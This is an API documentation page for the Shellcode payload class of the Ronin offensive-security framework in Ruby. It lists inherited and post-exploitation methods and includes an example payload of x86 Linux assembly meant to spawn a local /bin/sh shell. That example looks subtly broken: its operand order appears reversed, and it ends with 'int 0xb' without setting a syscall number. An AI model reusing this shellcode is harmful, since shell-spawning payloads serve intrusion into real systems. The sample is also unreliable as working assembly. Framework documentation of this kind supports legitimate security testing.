Class: Ronin::Payloads::Shellcode

Inherits:
ASMPayload show all
Defined in:
lib/ronin/payloads/shellcode.rb

Overview

A Payload class that represents payloads written in assembly which spawn shells or run commands.

Example

#!/usr/bin/env ronin-payload -f

require 'ronin/payloads/shellcode'

Ronin::Payloads::Shellcode.object do

  cache do
    self.name        = 'local_shell'
    self.version     = '0.5'
    self.description = %{
      Shellcode that spawns a local /bin/sh shell
    }

    targets_arch :x86
    targets_os   'Linux'
  end

  build do
    shellcode do
      xor   eax, eax
      push  eax
      push  0x68732f2f
      push  0x6e69622f
      mov   esp, ebx
      push  eax
      push  ebx
      mov   esp, ecx
      xor   edx, edx
      int   0xb
    end
  end

end

Instance Attribute Summary

Attributes inherited from Payload

#exploit, #helpers, #raw_payload

Attributes included from HasPayload

#payload

Instance Method Summary collapse

Methods inherited from ASMPayload

#assemble

Methods inherited from Payload

#build!, #helper, #initialize

Methods included from Ronin::PostExploitation::Mixin

#fs, #post_exploitation, #process, #resources, #shell

Methods included from HasPayload

#default_payload, #initialize, #method_missing, #payload_class, #respond_to?, #use_payload!, #use_payload_from!

Methods included from Model::TargetsOS

included

Methods included from Model::TargetsArch

included

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Dynamic Method Handling

This class handles dynamic methods through the method_missing method in the class Ronin::Payloads::HasPayload

Instance Method Details

#shellcode(define = {}) { ... } ⇒ String (protected)

Assembles Shellcode and sets the @payload instance variable.

Parameters:

  • define (Hash{Symbol => Object}) (defaults to: {})

    Constants to define in the shellcode.

Yields:

  • [] The given block represents the instructions of the shellcode.

Returns:

  • (String)

    The assembled shellcode.

See Also:


85
86
87
88
89
# File 'lib/ronin/payloads/shellcode.rb', line 85

def shellcode(define={},&block)
  options = {format: :bin, define: define}

  @raw_payload = assemble(options,&block)
end